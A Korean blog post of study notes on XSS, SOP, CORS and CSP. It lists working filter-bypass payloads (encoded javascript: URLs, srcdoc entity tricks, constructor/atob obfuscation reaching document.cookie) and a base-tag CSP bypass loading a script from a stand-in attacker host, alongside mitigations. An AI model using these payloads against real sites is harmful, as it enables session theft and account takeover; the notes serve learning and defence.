Post

XSS (Cross-Site Script)

XSS (Cross-Site Script)



Client-Side 공격의 대표적인 방법으로 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다.

공격자는 해당 취약점을 통해 특정 계정의 세션 정보를 탈취하고 해당 계정으로 임의의 기능을 수행할 수 있다.


XSS 공격은 이용자가 입력한 값을 출력하는 기능에서 발생한다. XSS 공격의 종류는 아래와 같다.

image


  • Stored XSS는 서버의 데이터베이스 또는 파일 등의 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS다.

    대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방식이 있다.


  • Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다.

    대표적으로 게시판 서비스에서 작성된 게시물을 조회하기 위한 검색창에서 스크립트를 포함해 검색하는 방식이 있다.

    Reflected XSS는 Stored XSS와는 다르게 URL과 같은 이용자의 요청에 의해 발생한다. 따라서 공격을 위해서는 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도해야 한다.


  • DOM-based XSS는 클라이언트, 즉 자바스크립트 단에서 이용자의 데이터를 가져와 사용하다가 XSS 취약점이 발생한다.
    • 즉, 서버 단에서 올바르게 XSS를 필터링하여도 DOM-based XSS가 발생할 수 있습니다.
    • yoobi.kr/m/132
    • DOM Clobbering
      • id, name 등 HTML에서 이용되는 식별자 속성을 이용해 자바스크립트에서 접근 가능한 DOM 객체들의 속성 및 메소드 등을 변조하는 기법
      • learn.dreamhack.io/326#5






공격 기법



XSS 필터 우회 정리
blog.rubiya.kr/index.php/2019/03/28/browsers-xss-filter-bypass-cheat-sheet/


  • onload : 해당 태그가 요청하는 데이터를 로드한 후에 실행, 만약 로드에 실패했다면 실행되지 않음.

  • onerror : 해당 태그가 요청하는 데이터를 로드하는데 실패할 시 실행

  • onfocus

    • input 태그에 커서를 클릭하여 포커스가 되면 실행
    • 일반적으로 autofocus 속성을 이용하거나, URL에 input 태그의 id 속성 값을 입력해 e.g http://dreamhack.io/#id 자동 포커스 되도록 함.


  • iframe
    • src
    • srcdoc
      • e.g <iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">
      • srcdoc 속성을 이용해 새로운 xss 코드 삽입 시 HTML 속성 내에 들어가기 때문에 HTML Entity Encoding을 통해 필터링을 우회 할 수 있다.


  • javascript:
    • <a href="javascript:alert(document.domain)">Click me!</a>
    • <iframe src="javascript:alert(document.domain)">
    • 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화 (Normalization)을 이용해 우회
      • 정규화는 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정
      • 이 과정에서 \x01, \x04, \t와 같은 특수 문자들이 제거되고, 스키마의 대소문자가 통일
      • 1
        2
        3
        
        <a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
              
        <iframe src="\1\4jAVasC\triPT:alert(document.domain)">
        
      • 1
        2
        3
        4
        5
        
        <!-- HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용할 수 있다. -->
              
        <a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
              
        <iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">
        
      • 1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        
        // 정규화는 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정
        function normalizeURL(url) { 
            return new URL(url, document.baseURI); 
        }
              
        normalizeURL('\4\4jAva\tScRIpT:alert(1)')
        --> "javascript:alert"
              
        normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
        --> "javascript:"
              
        normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
        --> "alert(1)"
        
      • dreamhack.io/forum/qna/2076

      • URL에 직접 입력할 때, %09로 입력해줘야 하며 %01, %04는 동작하지 않았다.



  • Javascript Computed member access
    • 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능
    • document["coo"+"kie"] == document["cookie"] == document.cookie
    • alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
    • document['\x63ookie']; // document['cookie']
    • 0x\x의 차이점은 0x는 숫자로 인식, \x는 문자열로 인식한다.


  • Javascript Template literals
    • 백틱을 이용해 선언, 내장된 ${} 표현식을 이용해 다른 변수나 식을 사용 가능함.
    • var foo = "Hello"; var bar = "World"; var baz = `${foo}, ${bar} ${1+1}.`; // "Hello,\nWorld 2."
    • stonefree.tistory.com/68


  • Javascript Regexp

  • Javascript String.fromCharCode

  • Javascript는 함수 호출 시 () 와 backtick으로 호출 할 수 있다.

    • e.g alert(1) == alert`1`


  • Javascript document.body.innerHTML
    • innerHTML로 HTML 추가 시 <script> 태그를 삽입해도 실행되지 않음. 따라서 이벤트 핸들러를 이용해 실행해야 함.
    • document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";


  • Javascript constructor, decodeURI, atob를 이용한 우회
    • constructor는 클래스의 객체를 생성, 초기화 하는 메소드
    • constructor(alert(document.cookie))();
    • 1
      2
      
      Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
      // constructor(alert(document.cookie))();
      
    • 1
      2
      
      Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))(); 
      // constructor(alert(document.cookie))();
      
  • Javascript Well-known Symbol
    • Symbol.hasinstance
      • // 추가하기
참고
Exploit Tech: XSS Filtering Bypass - I
Exploit Tech: XSS Filtering Bypass - II


Cheat Sheet 정리글
ch4njun.tistory.com/176






SOP (Same Origin Policy)



쿠키에는 민감한 정보가 들어있으며 브라우저 내부에 저장된다. 그리고 브라우저가 웹 서비스에 접속할 때 자동으로 쿠키를 헤더에 포함해서 요청을 보낸다.

이 때, 악의적인 페이지에 접속을 하게 된다면 사용자의 쿠키 값이 공격자에게 보내지게 된다.

클라이언트 입장에서는 가져온 데이터를 악의적인 페이지에서 읽을 수 없도록 해야 한다.

이것이 바로 브라우저 보안 메커니즘인 동일 출처 정책 Same-Origin Policy 이다.


오리진은 프로토콜 (Protocol, Scheme), 포트 (Port), 호스트 (Host) 로 구성되며, 구성 요소가 모두 일치해야 동일한 오리진이라고 한다.
{scheme}://{host}:{port}

image


SOP는 Cross Origin이 아닌 Same Origin일 때만 정보를 읽을 수 있도록 해준다.

또한 외부 출처에서 불러온 데이터를 읽으려고 할 때는 오류가 발생해 읽지 못하지만, 읽는 것 외에 데이터를 쓰는 것은 문제 없이 동작한다.






CORS (Cross Origin Resource Sharing)



웹 서비스에서 SOP를 우회하여 다른 출처의 데이터를 처리해야 하는 경우도 있다. 이를 위한 정책이 Cross Origin Resource Sharing, CORS 이다.

교차 출처의 자원을 공유하는 방법은 CORS와 관련된 HTTP 헤더를 추가하여 전송하는 방법을 사용한다.

발신측에서 CORS 헤더를 설정해 요청하면, 수신측에서 헤더를 구분해 정해진 규칙에 맞게 데이터를 가져갈 수 있도록 설정한다.


발신측에서 어떤 웹 페이지로 POST 방식으로 HTTP 요청을 보내면 POST가 아닌 OPTIONS 메소드로 요청이 가며 CORS 헤더가 같이 요청으로 보내진다.

CORS 헤더에는 다음이 있다.

  • Access-Control-Allow-Origin : 헤더 값에 해당하는 Origin에서 들어오는 요청만 처리한다.

  • Access-Control-Allow-Methods : 헤더 값에 해당하는 메소드의 요청만 처리한다.

  • Access-Control-Allow-Credentials : 쿠키 사용 여부를 판단한다.

  • Access-Control-Allow-Headers : 헤더 값에 해당하는 헤더의 사용 가능 여부를 나타낸다.


image


OPTIONS 메소드로 발신측에서 보내면 수신 측은 아래와 같이 응답을 해준다.

image


브라우저는 수신측의 응답이 발신측의 요청과 상응하는지 확인하고, 그때야 비로소 POST 요청을 보내 수신측의 웹 리소스를 요청하는 HTTP 요청을 보낸다.






CORS Bypass



CORS는 SOP를 우회하여 사용하기 위해 만들어진 만큼 설정을 잘못하게 되면 취약점이 발생하게 된다. 취약점의 종류는 크게 두 가지로 구분할 수 있다.

  • 현재 사이트에서 다른 사이트로 정보 유출 (기밀성)
    • 만일 다른 사이트로부터 CORS 요청을 받을 때 그 Origin에 대한 검사가 진행되지 않고 응답하거나 Origin에 제약이 없는 경우 사용자의 신원 등 민감한 정보가 다른 사이트에 노출될 수 있다.


  • 다른 사이트에서 현재 사이트 변조 (무결성)
    • CORS 요청의 Origin이 신뢰할 수 있는 출처인지 확인 또는 제한하지 않거나 CORS 응답을 그대로 사용할 경우 XSS 등 보안 문제가 발생할 수 있다.






CSP (Content Security Policy)



웹 브라우저는 웹 서버로부터 받는 페이지의 컨텐츠가 모두 의도된 컨텐츠인지 알 수 없다.

XSS의 공격은 페이지 내에 자바스크립트 코드를 삽입하여 원래 페이지의 컨텐츠인 것 처럼 브라우저를 속이고 SOP 정책을 우회한다.

이에 따라 페이지의 컨텐츠에서 사용하는 자원들이 모두 웹 서버에서 의도한 자원이 맞는지 확인하기 위해 Content Security Policy (CSP)가 탄생한다.


컨텐츠 보안 정책은 XSS나 데이터를 삽입하는 류의 공격이 발생하였을 때 피해를 줄이고 웹 관리자가 공격 시도를 보고 받을 수 있도록 새롭게 추가된 보안 계층이다.

XSS 공격은 브라우저가 서버로부터 전달받은 컨텐츠를 신뢰한다는 점을 이용한다. 그 컨텐츠가 서버에서 추가된 컨텐츠가 아니라 공격자가 삽입한 악성 컨텐츠 일지라도.

CSP는 이를 방지하기 위해 웹 페이지에서 사용할 수 있는 자원의 위치, 출처에 제약을 걸어두었다.


CSP 헤더는 1개 이상의 정책 지시문이 세미콜론으로 분리된 형태로 이루어져 있다.

정책 지시문은 지시문 (e.g. default-src, script-src 등)과 1개 이상의 출처 (e.g. 'self', https:, *.dreamhack.io 등)가 공백으로 분리된 형태로 지정해야 한다.

페이지 내부의 자원들이 같은 오리진 혹은 https://example.dreamhack.io에서만 로드되어야 함을 나타내는 예시 CSP 구문입니다.
default-src 'self' https://example.dreamhack.io


위와 같은 CSP 구문을 HTTP 헤더에 추가하여 적용할 수 있다. <policy-directive> 부분에 CSP를 정의하는 정책 디렉티브를 작성한다.
Content-Security-Policy: <policy-directive>; <policy-directive>
위의 CSP 구문을 적용시키고자 하면 다음과 같이 추가하면 된다.
Content-Security-Policy: default-src 'self' https://example.dreamhack.io


CSP 헤더는 HTTP 헤더 외에 meta 태그의 엘리먼트로도 정의할 수 있다.
<meta http-equiv="Content-Security-Policy" content="default-src 'self' https://example.dreamhack.io">


<policy-directive><directive> <value> 형태로 구성된다.

<directive>는 지시문이라고 부르며, 지시문은 컨텐츠 내에서 로드하는 리소스를 세분화해 어떤 리소스에 대한 출처를 제어할지 결정한다.

<value> 부분에는 <directive>에서 정의한 리소스의 출처를 정의한다.

<value> 에는 여러 개의 출처가 정의될 수 있으며, 공백을 통해 구분된다.

directive


일반적으로 <value> 부분에는 URL을 전달받으나 와일드 카드의 사용, 특수한 목적의 출처도 존재한다.

value

image



  • CSP는 인라인 코드(inline-code)를 유해하다고 간주, 사용할 수 없다.

    • 여기서 이야기하는 인라인 코드란, 태그의 src 속성으로 코드를 로드하지 않고 태그 내에 직접 코드를 삽입하는 것을 의미한다.

    • CSP는 인라인 코드 형태를 지양하고, <script src="alert.js"></script> 와 같이 src 속성에 코드 경로를 정의하는 방식을 권장한다.

    • CSP는 <script> 태그 내에 코드를 삽입하는 것을 포함하여 on* 이벤트 핸들러 속성, javascript: URL 스킴 또한 인라인 코드로 간주하고 허용하지 않는다. 또한 CSS 스타일시트 또한 인라인 코드를 허용하지 않는다.


  • CSP는 기본적으로 문자열 텍스트를 실행 가능한 자바스크립트 코드 형태로 변환하는 메커니즘 또한 유해하다고 간주한다.

    • eval, new Function(), setTimeout([string], ...), setInterval([string], ...) 과 같이 문자열 형태로 입력을 받는 함수의 실행은 모두 차단된다.
      • ex) setTimeout("alert(1)", ...)
    • 다만 해당 함수에 문자열 입력이 아닌 인라인 함수 형태로 파라미터가 전달 될 때에는 차단되지 않는다.
      • ex) setTimeout(function(){alert(1)}, ...)


CSP는 XSS 공격으로부터 피해를 최소화할 수 있는 좋은 방안이지만, XSS 공격의 피해를 완전히 무력화하기 위한 수단은 아니기 때문에 XSS에 대한 자체적인 방어가 병행되어야 한다.






CSP Bypass



CSP를 이용하면 브라우저가 특정 출처에서만 자원을 불러오게끔 제한할 수 있다.

그러나 만약 해당 출처가 파일 업로드 및 다운로드 기능을 제공한다면, 공격자는 출처에 스크립트와 같은 자원을 업로드한 뒤 다운로드 경로로 웹 페이지에 자원을 포함시킬 수 있다.


CSP에서 허용한 출처가 JSONP API를 지원한다면, callback 파라미터에 원하는 스크립트를 삽입하여 공격이 가능하다.


nonce 값은 보통 요청마다 새로 생성되는데, 만일 이를 생성하는 알고리즘이 취약하여 값을 예측할 수 있다면 공격자는 이를 유추해 자신의 스크립트를 웹 사이트에 삽입할 수 있다.


HTML 하이퍼링크에서 호스트 주소 없이 경로를 지정하면 브라우저는 현재 문서를 기준으로 주소를 해석한다.

HTML <base> 태그는 경로가 해석되는 기준점을 변경할 수 있도록 하며, <a>, <form> 등의 target 속성의 기본 값을 지정하도록 한다.

만일 공격자가 <base href="https://malice.test/">와 같은 마크업을 삽입하게 된다면, 추후 상대 경로를 사용하는 URL들은 본래 의도한 위치가 아닌 공격자의 서버에 자원을 가리키게 되어 공격자는 이를 통해 임의의 스크립트 등을 삽입할 수 있게 된다.


만약 페이지에 임의 마크업을 삽입할 수 있는 취약점이 있지만, script-src 'self' CSP 구문으로 인해 스크립트를 삽입할 수 없다고 가정한다.

이 때, base-uri CSP 구문을 지정하지 않은 경우 아래와 같이 base 태그를 이용하여 임의 자원을 로드할 수 있다.


1
2
3
4
<base href="https://malice.test">
<script src="/exploit.js"> 
  
<!-- exploit.js는 base 태그에 의해 https://malice.test/exploit.js를 가리킵니다. -->


이를 방어하려면 Content-Security-Policy: base-uri 'none'를 설정해야 한다.

base-uri 지시문을 임의로 지정하지 않는 이상 default 초기 값이 존재하지 않는다.

따라서 웹 서비스를 개발할 때에는 반드시 base-uri 지시문을 정의해주어야 한다.


HTTPLeaks
github.com/cure53/HTTPLeaks/blob/main/leak.html
CSP Bypass Tips from Defenit
defenit.kr/2020/02/11/Web/ㄴ%20Research/CSP-Bypass-Tips/






XSS Mitigation



오래된 공격 기법인 만큼, 방어 수단이 존재한다.
HTML Entity Encoding, Cookie HTTP Only, CSP


대표적으로 HTML Entity Encoding이 있는데, 꺽쇠나 따옴표 등을 HTML 엔티티로 인코딩 해주는 것이다.

사용자의 입력값이 들어오는 부분에 대해서는 모두 필터링 해줘야 하는데, URI 쿼리나 POST 값 뿐만 아니라 User-Agent나 Refer 등의 헤더부분 또한 필터링을 적용시켜줘야 한다.


다른 방법으로 쿠키에 Http Only를 설정하여 자바스크립트에서 쿠키에 접근할 수 없도록 할 수 있다.

서버 단에서 설정할 수 있는 값으로 서버에서 Set Cookie 헤더를 보내줄 때 같이 설정되서 오는 것이다.

이를 통해 xss 취약점이 있어도 공격자가 쿠키 값을 알아낼 수 없다.


헤더에 X-XSS-Protection: <value> 헤더를 설정하는 방법도 있다.

해당 정책은 웹 브라우저에 내장된 XSS Filter를 활성화할 것인지를 판단한다.

XSS Filter는 웹 브라우저에서 전송된 Request 값이 XSS 공격 코드와 유사하고, Response에 해당 공격 코드가 포함되었을 경우에 XSS 공격이 수행되고 있음을 판단하여 XSS 공격 발생을 사용자에게 알리고 차단한다.

Request 값과 Response를 비교해 판단하는 것이므로 Reflected XSS에 대한 방어 기법이며, 다른 XSS 공격은 방어할 수 없다.


1
2
3
4
X-XSS-Protection: 0
X-XSS-Protection: 1
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=<reporting-uri>


위와 같은 4가지 사용법이 있는데, 기본 값은 1로 설정되며 이 값은 XSS 공격이 탐지되면 해당 부분만 제거한 뒤 Response 해준다.

0일 때는 XSS Filter를 사용하지 않는다.

mode=block일 경우 XSS 공격이 탐지되면 페이지 전체의 렌더링을 중단한다.

report를 선언할 경우에 XSS 공격이 탐지된 사실을 미리 설정한 주소에 신고하여 운영자가 대처하기 쉽도록한다.


그러나 이 방식은 최신 브라우저에서는 사용하지 않는 추세라고 한다.






출처



Link (dreamhack)
ClientSide: XSS
Mitigation: Same Origin Policy
Exploit Tech: XSS Filtering Bypass - I
Content Security Policy
Exploit Tech: CSP Bypass
Exploit Tech: Document Object Model Vulnerability
Client-side Basic






This post is licensed under CC BY 4.0 by the author.